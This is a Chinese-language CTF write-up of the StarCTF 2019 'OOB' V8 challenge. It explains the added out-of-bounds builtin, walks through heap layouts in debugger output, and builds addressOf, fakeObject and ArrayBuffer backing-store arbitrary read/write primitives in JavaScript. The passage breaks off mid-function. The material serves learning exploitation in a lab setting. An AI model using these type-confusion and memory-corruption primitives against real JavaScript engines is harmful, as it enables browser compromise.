34 KiB
StarCTF2019 OOB
题目分析
题目给出一个diff
文件,和commit
版本号,将V8切换版本,apply
后编译即可完成环境搭建。
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
这段diff
的意思很明显,为某些JS Object添加内置一个名为oob
的内置函数,提供一个元素的越界读写功能。SimpleInstallFunction(isolate_, proto, "oob", Builtins::kArrayOob,2,false);
对应到具体源码可以看见,这个宏的第二个参数的定义是Handle<JSArray> proto = factory->NewJSArray(0, TERMINAL_FAST_ELEMENTS_KIND,AllocationType::kOld);
因此推测是对所有JSArray
的对象添加.obb()
方法。
思路分析
通过%DebugPrint
打印出来的内容和直接print
打印变量得到的内容是不一样的,暂时还不知道原因是什么,但是在进行漏洞利用的时候是通过编写JS代码实现,也就是要使用到变量内的值,所以先给出浮点数和整数相互转换以及16进制打印的代码。
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
简单定义一个JS数组:
var int_array = [1, 2, 3];
%DebugPrint(int_array);
%DebugPrint(int_array.oob());
print("[*] int array map: " + hex(d2u(int_array.oob())));
程序运行输出如下结果,可以看出int_array.oob()
恰巧是&int_array[4]
,暂时不知道为什么是这样的。而通过print
输出的正好就是elements[3]
的对应的内存值。
0x1ac09344e061 <JSArray[3]>
0x1ac09344e081 <HeapNumber 2.04868e-310>
[*] int array map: 0x000025b67a800851
pwndbg> job 0x1ac09344e061
0x1ac09344e061: [JSArray]
- map: 0x1a2fc87c2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x060546e11111 <JSArray[0]>
- elements: 0x1ac09344df29 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x25b67a800c71 <FixedArray[0]> {
#length: 0x3afc85dc01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1ac09344df29 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x1ac09344df29
0x1ac09344df29: [FixedArray]
- map: 0x25b67a800851 <Map>
- length: 3
0: 1
1: 2
2: 3
pwndbg> tele 0x1ac09344e060
00:0000│ 0x1ac09344e060 —▸ 0x1a2fc87c2d99 ◂— 0x4000025b67a8001
01:0008│ 0x1ac09344e068 —▸ 0x25b67a800c71 ◂— 0x25b67a8008
02:0010│ 0x1ac09344e070 —▸ 0x1ac09344df29 ◂— 0x25b67a8008
03:0018│ 0x1ac09344e078 ◂— 0x300000000
04:0020│ 0x1ac09344e080 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001
05:0028│ 0x1ac09344e088 —▸ 0x25b67a800851 ◂— 0x25b67a8001
06:0030│ 0x1ac09344e090 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001
07:0038│ 0x1ac09344e098 —▸ 0x25b67a800851 ◂— 0x25b67a8001
pwndbg> tele 0x1ac09344df28
00:0000│ 0x1ac09344df28 —▸ 0x25b67a800851 ◂— 0x25b67a8001
01:0008│ 0x1ac09344df30 ◂— 0x300000000
02:0010│ 0x1ac09344df38 ◂— 0x100000000
03:0018│ 0x1ac09344df40 ◂— 0x200000000
04:0020│ 0x1ac09344df48 ◂— 0x300000000
05:0028│ 0x1ac09344df50 —▸ 0x25b67a800851 ◂— 0x25b67a8001
06:0030│ 0x1ac09344df58 ◂— 0x400000000
07:0038│ 0x1ac09344df60 —▸ 0x3afc85dc3b29 ◂— 0x25b67a8009
同时可以看出它在内存的分布是这样的:
Elements
和JSArray
是不连续的,打印&Elements[3]
后续内存中的一些疑似对象的值:
pwndbg> job 0x1ac09344df51
0x1ac09344df51: [FixedArray]
- map: 0x25b67a800851 <Map>
- length: 4
0: 0x3afc85dc3b29 <SharedFunctionInfo>
1: 0x1ac09344d041 <String[562]\: let array_buffer = new ArrayBuffer(0x8);\nlet data_view = new DataView(array_buffer);\n\nfunction d2u(value) {\n data_view.setFloat64(0, value);\n return data_view.getBigUint64(0);\n}\n\nfunction u2d(value) {\n data_view.setBigUint64(0, value);\n return data_view.getFloat64(0);\n}\n\nfunction hex(val) {\n return '0x' + val.toString(16).padStart(16, "0");\n}\n\nvar int_array = [1, 2, 3];\n%DebugPrint(int_array);\n%DebugPrint(int_array.oob());\nprint("[*] int array map: " + hex(d2u(int_array.oob())));\n// %DebugPrint(dv1);\n%SystemBreak();\n\n\n// %SystemBreak();\n\n\n\n\n>
2: 0
3: -1
pwndbg> job 0x1ac09344df81
0x1ac09344df81: [ClosureFeedbackCellArray]
- map: 0x25b67a8012c9 <Map>
- length: 4
0: 1024
1: 0x060546e1f7a1 <FeedbackCell[one closure]>
2: 0x060546e1f7b1 <FeedbackCell[one closure]>
3: 0x060546e1f7c1 <FeedbackCell[one closure]>
pwndbg> job 0x1ac09344dfb1
0x1ac09344dfb1: [Context]
- map: 0x25b67a801279 <Map>
- length: 4
- scope_info: 2
- previous: 0x060546e173e9 <ScriptContext[5]>
- extension: 0x060546e1f8b9 <ScriptContext[6]>
- native_context: 0x25b67a8004d1 <undefined>
0: 2
1: 0x060546e173e9 <ScriptContext[5]>
2: 0x060546e1f8b9 <ScriptContext[6]>
3: 0x25b67a8004d1 <undefined>
猜测与代码中FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
的强制类型转换或者某种优化有关系,因此尝试定义一个浮点数组:
var float_array = [1.1, 2.2, 3.3];
%DebugPrint(float_array);
%DebugPrint(float_array.oob());
print("[*] float array map: " + hex(d2u(float_array.oob())));
调试查看内存值:
0x313b6468e0c1 <JSArray[3]>
0x313b6468e0e1 <HeapNumber 3.6831e-311>
[*] float array map: 0x000006c7ad402ed9
pwndbg> job 0x313b6468e0c1
0x313b6468e0c1: [JSArray]
- map: 0x06c7ad402ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2e4cc75d1111 <JSArray[0]>
- elements: 0x313b6468e099 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0e51cd280c71 <FixedArray[0]> {
#length: 0x2906063c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x313b6468e099 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
pwndbg> tele 0x313b6468e098 10
00:0000│ 0x313b6468e098 —▸ 0xe51cd2814f9 ◂— 0xe51cd2801
01:0008│ 0x313b6468e0a0 ◂— 0x300000000
02:0010│ 0x313b6468e0a8 ◂— 0x3ff199999999999a
03:0018│ 0x313b6468e0b0 ◂— 0x400199999999999a
04:0020│ 0x313b6468e0b8 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028│ 0x313b6468e0c0 —▸ 0x6c7ad402ed9 ◂— 0x400000e51cd2801
06:0030│ 0x313b6468e0c8 —▸ 0xe51cd280c71 ◂— 0xe51cd2808
07:0038│ 0x313b6468e0d0 —▸ 0x313b6468e099 ◂— 0xe51cd2814
08:0040│ 0x313b6468e0d8 ◂— 0x300000000
09:0048│ 0x313b6468e0e0 —▸ 0xe51cd280561 ◂— 0x200000e51cd2801
可以发现这次JSArray
与DoubleFixedArray
在内存中是连续的,而且后者在前者的低地址处,因此oob
就可以读写JSArray
的Map
指针,从而进行类型混淆。
构造原语
AddressOf和FakeObject原语
首先根据类型混淆可以构造出AddressOf
:
首先构造AddressOf
原语:
var obj = new Object();
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
该原语将任意对象的指针填入float_array[0]
,并欺骗V8引擎在读写(代码8、10行)数组的过程中正确处理变量类型,而不造成变量类型的变化。举个简单的例子,如果不经过类型混淆,直接调用float_array[0] = obj
,由于JS弱类型/动态类型的特性,这并不会报错,但是float_array
的Map
指针会指向一个新的类型:
var obj = new Object();
var float_array = [1.1];
%DebugPrint(float_array);
%SystemBreak();
float_array[0] = obj;
%DebugPrint(float_array);
%SystemBreak();
第一次断点:
pwndbg> job 0x2907e2b0e0a1
0x2907e2b0e0a1: [JSArray]
- map: 0x0ddb61d02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x179d4ae91111 <JSArray[0]>
- elements: 0x2907e2b0e089 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x3d3fed280c71 <FixedArray[0]> {
#length: 0x2605401801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2907e2b0e089 <FixedDoubleArray[1]> {
0: 1.1
}
第二次断点:
pwndbg> job 0x2907e2b0e0a1
0x2907e2b0e0a1: [JSArray]
- map: 0x0ddb61d02f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x179d4ae91111 <JSArray[0]>
- elements: 0x2907e2b0e0c1 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x3d3fed280c71 <FixedArray[0]> {
#length: 0x2605401801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2907e2b0e0c1 <FixedArray[1]> {
0: 0x2907e2b0e051 <Object map = 0xddb61d00459>
}
可以明显看出float_array
的结构发生了变化,这种性质导致无法直接通过修改数组存储的对象的方式获取到对象的地址。
而对于AddressOf
原语下断点分析:
var obj = new Object();
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
%SystemBreak();
float_array.oob(object_array_map);
%SystemBreak();
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
%DebugPrint(obj);
%DebugPrint(float_array);
print("[*] Address of obj is " + hex(d2u(addressOf(obj))));
%SystemBreak();
第一次断点:
0x05294860e1b9 <Object map = 0x3a83e7c40459>
0x05294860e251 <JSArray[1]>
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
pwndbg> job 0x05294860e251
0x5294860e251: [JSArray]
- map: 0x3a83e7c42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2ecf8a0d1111 <JSArray[0]>
- elements: 0x05294860e239 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x028849c40c71 <FixedArray[0]> {
#length: 0x0b166b2801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x05294860e239 <FixedDoubleArray[1]> {
0: 1.1
}
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
pwndbg> job 0x05294860e251
0x5294860e251: [JSArray]
- map: 0x3a83e7c42f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2ecf8a0d1111 <JSArray[0]>
- elements: 0x05294860e239 <FixedDoubleArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x028849c40c71 <FixedArray[0]> {
#length: 0x0b166b2801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x05294860e239 <FixedDoubleArray[1]> {
0: 1072798105
}
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
[*] Address of obj is 0x000005294860e1b9
pwndbg> tele 0x05294860e238
00:0000│ 0x5294860e238 —▸ 0x28849c414f9 ◂— 0x28849c401
01:0008│ 0x5294860e240 ◂— 0x100000000
02:0010│ 0x5294860e248 —▸ 0x5294860e1b9 ◂— 0x7100003a83e7c404
03:0018│ 0x5294860e250 —▸ 0x3a83e7c42ed9 ◂— 0x40000028849c401
04:0020│ 0x5294860e258 —▸ 0x28849c40c71 ◂— 0x28849c408
05:0028│ 0x5294860e260 —▸ 0x5294860e239 ◂— 0x28849c414
06:0030│ 0x5294860e268 ◂— 0x100000000
07:0038│ 0x5294860e270 —▸ 0x28849c40561 ◂— 0x20000028849c401
pwndbg> job 0x5294860e1b9
0x5294860e1b9: [JS_OBJECT_TYPE]
- map: 0x3a83e7c40459 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2ecf8a0c2091 <Object map = 0x3a83e7c40229>
- elements: 0x028849c40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x028849c40c71 <FixedArray[0]> {}
可以看出float_array
和其Elements
的类型均未改变,只是Element[0]
被修改为obj
的地址。由此即构造出AddressOf
原语,同理我们可以构造出FakeObject
原语:
function fakeObject(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
该原语将伪造的对象的首地址填入object_array[0]
,这样访问object_array[0]
的时候就相当于在访问任意伪造的对象了。
任意读任意写原语
接着构造任意读和任意写的原语,最朴素的思路是通过JS数组伪造一个假的对象,利用FakeObject
原语将这个假的对象首地址填入object_array[0]
,这样操作object_array[0]
就是在操作Fake JSArray
,通过object_array[0][0]
修改Elements
指针,通过object_array[0][1]
修改Length
长度。再通过attack_array
即可实现对Elements+0x10
后地址的任意地址读写。
实际上在内存中可以观察到target_array
的JSArray
恰好位于FixedArray
的连续的低地址处,因此可以获得以下构造:
var x = [6, 6, 6, 6];
var x_addr = addressOf(x);
var attack_array = [1, 2, 3];
var attack_addr = addressOf(attack_array);
var target_array = [
float_array_map, // fake map
0, // fake properties
u2d(attack_addr+0x10n), // fake elements
u2d(0xdeadbeefn << 32n), // fake length
];
var target_addr = addressOf(target_array);
%DebugPrint(x);
%DebugPrint(attack_array);
%DebugPrint(object_array);
%DebugPrint(target_array);
%SystemBreak();
fake_object = fakeObject(target_addr+0x30n);
%DebugPrint(target_array);
%SystemBreak();
fake_object[0] = u2d(x_addr | 1n);
fake_object[1] = u2d(0x200n << 32n);
%DebugPrint(target_array);
%DebugPrint(object_array);
%SystemBreak();
第一次断点时查看object_array
,其内部存着一个空对象:
0x07327d94ee31 <JSArray[4]>
0x07327d94eee1 <JSArray[3]>
0x07327d94edb9 <JSArray[1]>
0x07327d94ef89 <JSArray[4]>
pwndbg> job 0x07327d94edb9
0x7327d94edb9: [JSArray]
- map: 0x0981e18c2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x191edf611111 <JSArray[0]>
- elements: 0x07327d94eda1 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0f12fff80c71 <FixedArray[0]> {
#length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x07327d94eda1 <FixedArray[1]> {
0: 0x07327d94ed69 <Object map = 0x981e18c0459>
}
pwndbg> job 0x07327d94ed69
0x7327d94ed69: [JS_OBJECT_TYPE]
- map: 0x0981e18c0459 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x191edf602091 <Object map = 0x981e18c0229>
- elements: 0x0f12fff80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0f12fff80c71 <FixedArray[0]> {}
将fake_obj
填入object_array
,成功伪造与float_array
具有相同Map
的对象:
pwndbg> job 0x07327d94edb9
0x7327d94edb9: [JSArray]
- map: 0x0981e18c2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x191edf611111 <JSArray[0]>
- elements: 0x07327d94eda1 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0f12fff80c71 <FixedArray[0]> {
#length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x07327d94eda1 <FixedArray[1]> {
0: 0x07327d94efb9 <JSArray[3735928559]>
}
pwndbg> job 0x07327d94ef89
0x7327d94ef89: [JSArray]
- map: 0x0981e18c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x191edf611111 <JSArray[0]>
- elements: 0x07327d94efa9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x0f12fff80c71 <FixedArray[0]> {
#length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x07327d94efa9 <FixedDoubleArray[4]> {
0: 5.16469e-311
1: 0
2: 3.90976e-311
3: -1.1886e+148
}
pwndbg> tel 0x07327d94efa8
00:0000│ 0x7327d94efa8 —▸ 0xf12fff814f9 ◂— 0xf12fff801
01:0008│ 0x7327d94efb0 ◂— 0x400000000
02:0010│ 0x7327d94efb8 —▸ 0x981e18c2ed9 ◂— 0x400000f12fff801
03:0018│ 0x7327d94efc0 ◂— 0
04:0020│ 0x7327d94efc8 —▸ 0x7327d94eef1 ◂— 0x7327d94e3
05:0028│ 0x7327d94efd0 ◂— 0xdeadbeef00000000
06:0030│ 0x7327d94efd8 —▸ 0xf12fff813b9 ◂— 0xf12fff801
07:0038│ 0x7327d94efe0 ◂— 2
pwndbg> job 0xf12fff814f9
0xf12fff814f9: [Map]
- type: FIXED_DOUBLE_ARRAY_TYPE
- instance size: variable
- elements kind: HOLEY_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0f12fff804d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x0f12fff80259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x0f12fff801d9 <null>
- constructor: 0x0f12fff801d9 <null>
- dependent code: 0x0f12fff802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter:
pwndbg> job 0x981e18c2ed9
0x981e18c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0981e18c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0a6ddeb00609 <Cell value= 1>
- instance descriptors #1: 0x191edf611f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x191edf611eb9 <TransitionArray[4]>Transition array #1:
0x0f12fff84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0981e18c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x191edf611111 <JSArray[0]>
- constructor: 0x191edf610ec1 <JSFunction Array (sfi = 0xa6ddeb06791)>
- dependent code: 0x0f12fff802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
但是使用job 0x07327d94efb9
会报错:
#
# Fatal error in , line 0
# unreachable code
#
#
#
#FailureMessage Object: 0x7ffe1f3cb270
==== C stack trace ===============================
/home/v8/v8/out.gn/x64.release/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x5621f57e2903]
/home/v8/v8/out.gn/x64.release/d8(+0x1107edb) [0x5621f57e1edb]
/home/v8/v8/out.gn/x64.release/d8(V8_Fatal(char const*, int, char const*, ...)+0x148) [0x5621f57dc8e8]
/home/v8/v8/out.gn/x64.release/d8(+0xc416dc) [0x5621f531b6dc]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectShortPrint(std::__1::basic_ostream<char, std::__1::char_traits<char> >&)+0xa9) [0x5621f529bc49]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::operator<<(std::__1::basic_ostream<char, std::__1::char_traits<char> >&, v8::internal::Brief const&)+0x7c) [0x5621f528f89c]
/home/v8/v8/out.gn/x64.release/d8(+0xbaab7b) [0x5621f5284b7b]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectPrint(std::__1::basic_ostream<char, std::__1::char_traits<char> >&)+0x9a3) [0x5621f5276003]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print(std::__1::basic_ostream<char, std::__1::char_traits<char> >&) const+0xc0) [0x5621f52755c0]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print() const+0x3e) [0x5621f52753ce]
/home/v8/v8/out.gn/x64.release/d8(_v8_internal_Print_Object(void*)+0x15) [0x5621f5286f95]
[0x7ffe1f3cbbef]
Thread 1 "d8" received signal SIGILL, Illegal instruction.
0x00005621f57dff32 in v8::base::OS::Abort() ()
#2 0x00005621f531b6dc in v8::internal::String::StringShortPrint(v8::internal::StringStream*, bool) ()
继续运行也会报错:
pwndbg> c
Continuing.
Received signal 4 ILL_ILLOPN 5621f57dff32
Thread 1 "d8" received signal SIGILL, Illegal instruction.
据说是因为FixedDoubleArray
在进行数组访问时会要Elements
指向的范围是否在堆地址范围内,伪造浮点数数组操作时会触发Inline Cache
。
但是可以使用ArrayBuffer
和 DataView
来构造任意地址读写,首先看看这两个结构在内存中的表示:
let array_buffer = new ArrayBuffer(0x20);
let data_view = new DataView(array_buffer);
%DebugPrint(array_buffer);
%DebugPrint(data_view);
%SystemBreak();
查看内存值:
0x3f16f0c0e9e9 <ArrayBuffer map = 0x379033d821b9>
0x3f16f0c0ea29 <DataView map = 0x379033d81719>
pwndbg> job 0x3f16f0c0e9e9
0x3f16f0c0e9e9: [JSArrayBuffer]
- map: 0x379033d821b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x395697cce981 <Object map = 0x379033d82209>
- elements: 0x3a00cefc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55f06c896c50
- byte_length: 32
- detachable
- properties: 0x3a00cefc0c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tel 0x3f16f0c0e9e8
00:0000│ 0x3f16f0c0e9e8 —▸ 0x379033d821b9 ◂— 0x800003a00cefc01
01:0008│ 0x3f16f0c0e9f0 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
02:0010│ 0x3f16f0c0e9f8 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
03:0018│ 0x3f16f0c0ea00 ◂— 0x20 /* ' ' */
04:0020│ 0x3f16f0c0ea08 —▸ 0x55f06c896c50 ◂— 0
05:0028│ 0x3f16f0c0ea10 ◂— 2
06:0030│ 0x3f16f0c0ea18 ◂— 0
07:0038│ 0x3f16f0c0ea20 ◂— 0
pwndbg> x/8gx 0x55f06c896c50-0x10
0x55f06c896c40: 0x000000000000022f 0x0000000000000031
0x55f06c896c50: 0x0000000000000000 0x0000000000000000
0x55f06c896c60: 0x0000000000000000 0x0000000000000000
0x55f06c896c70: 0x0000000000000000 0x0000000000000031
因此ArrayBuffer
在内存中的布局如下,其中Backing_length
不是HeapObject
对象,而是直接由堆管理器分配的一个堆快,在Chrome
中是PartitionAlloc
,在d8
中是ptmalloc2
。如果能够修改Backing_store
指针,就可以实现任意地址读写,这也是常用的利用手法。
ArrayBuffer
是维护Backing_store
内存区的抽象类,其读写必须依赖于TypedArray
或DataView
,从下图中很容易看出他们之间的继承关系:
这里先分析DataView
的结构:
pwndbg> job 0x3f16f0c0ea29
0x3f16f0c0ea29: [JSDataView]
- map: 0x379033d81719 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x395697ccaff9 <Object map = 0x379033d81769>
- elements: 0x3a00cefc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x3f16f0c0e9e9 <ArrayBuffer map = 0x379033d821b9>
- byte_offset: 0
- byte_length: 32
- properties: 0x3a00cefc0c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tel 0x3f16f0c0ea28
00:0000│ 0x3f16f0c0ea28 —▸ 0x379033d81719 ◂— 0x800003a00cefc01
01:0008│ 0x3f16f0c0ea30 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
02:0010│ 0x3f16f0c0ea38 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
03:0018│ 0x3f16f0c0ea40 —▸ 0x3f16f0c0e9e9 ◂— 0x710000379033d821
04:0020│ 0x3f16f0c0ea48 ◂— 0
05:0028│ 0x3f16f0c0ea50 ◂— 0x20 /* ' ' */
06:0030│ 0x3f16f0c0ea58 ◂— 0
07:0038│ 0x3f16f0c0ea60 ◂— 0
在内存中的示意图:
因此我们就可以得到类似的任意地址写的策略,利用Elements
修改ab1
的BackingStore
,指向ab2
的BackingStore
,需要任意地址写的时候通过ab1
修改ab2
的BackingStore
为任意地址,通过ab2
进行任意地址写,DataView
只是ArrayBuffer
的一层接口包装,无需在构造时考虑:
通过上图构造编写如下代码:
var ab1 = new ArrayBuffer(0x8);
var ab2 = new ArrayBuffer(0x1000);
var dv1 = new DataView(ab1);
var dv2 = new DataView(ab2);
var ab1_backing_store_addr = addressOf(ab1) + 0x20n;
var ab2_backing_store_addr = addressOf(ab2) + 0x20n;
float_array_mem = [
float_array_map,
0,
u2d(ab1_backing_store_addr - 0x10n),
u2d(0xdeadbeefn << 32n)
];
float_mem_addr = addressOf(float_array_mem);
fake_array = fakeObject(float_mem_addr + 0x30n);
fake_array[0] = u2d(ab2_backing_store_addr - 1n);
%DebugPrint(ab1);
%DebugPrint(ab2);
%DebugPrint(fake_array);
%SystemBreak();
调试发现确实修改到的ab1
的BackingStore
属性并将其指向ab2
的BackingStore
:
0x0bbd8c44ed61 <ArrayBuffer map = 0x101468c421b9>
0x0bbd8c44eda1 <ArrayBuffer map = 0x101468c421b9>
0x0bbd8c44efe9 <JSArray[3735928559]>
pwndbg> job 0x0bbd8c44efe9
0xbbd8c44efe9: [JSArray]
- map: 0x101468c42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x27a91ed91111 <JSArray[0]>
- elements: 0x0bbd8c44ed71 <String[#0]: > [PACKED_DOUBLE_ELEMENTS]
- length: -559038737
- properties: {
#length: 0x16d085c801a9 <AccessorInfo> (const accessor descriptor)
}
pwndbg> job 0x0bbd8c44ed61
0xbbd8c44ed61: [JSArrayBuffer]
- map: 0x101468c421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x27a91ed8e981 <Object map = 0x101468c42209>
- elements: 0x159a28e40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0xbbd8c44edc0
- byte_length: 8
- detachable
- properties: 0x159a28e40c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tel 0x0bbd8c44eda0
00:0000│ 0xbbd8c44eda0 —▸ 0x101468c421b9 ◂— 0x80000159a28e401
01:0008│ 0xbbd8c44eda8 —▸ 0x159a28e40c71 ◂— 0x159a28e408
02:0010│ 0xbbd8c44edb0 —▸ 0x159a28e40c71 ◂— 0x159a28e408
03:0018│ 0xbbd8c44edb8 ◂— 0x1000
04:0020│ 0xbbd8c44edc0 —▸ 0x5606fd7c9600 ◂— 0
05:0028│ 0xbbd8c44edc8 ◂— 2
06:0030│ 0xbbd8c44edd0 ◂— 0
07:0038│ 0xbbd8c44edd8 ◂— 0
之后的读写原语就很容易构造:
function arb_read_qword(addr) {
dv1.setBigUint64(0, addr, true);
